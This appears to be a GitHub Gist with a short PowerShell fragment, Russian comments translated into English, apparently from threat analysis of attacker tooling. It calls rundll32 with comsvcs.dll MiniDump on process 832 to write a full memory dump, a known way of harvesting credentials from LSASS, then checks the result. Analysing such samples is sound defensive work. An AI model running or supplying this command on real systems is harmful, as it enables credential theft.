Last active
January 8, 2026 21:30
-
-
Save Purp1eW0lf/baeb86c8185125f5daf8dc156779003f to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ## Comments are inserted English translation of Russian strings | |
| Write-Host "Пробуем создать дамп: $dumpFile` ## Trying to create dump: $dumpFile | |
| # Метод 1: Через Start-Process` ## Method 1: Via Start-Process | |
| Start-Process -FilePath "rundll32.exe" -ArgumentList "C:\Windows\System32\comsvcs.dll, MiniDump 832 $dumpFile full" -Wait -NoNewWindow` | |
| # Проверяем результат` ## Checking the result | |
| if (Test-Path $dumpFile) {` | |
| $file = Get-Item $dumpFile` | |
| Write-Host "Успешно! Размер файла: $([math]::Round($file.Length/1MB, 2)) MB"` ## Success! File size | |
| Write-Host "Путь: $($file.FullName)"` ## Path | |
| } else { | |
| Write-Host "Файл не создан. Пробуем другой метод..."` ## File not created. Trying another method... |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment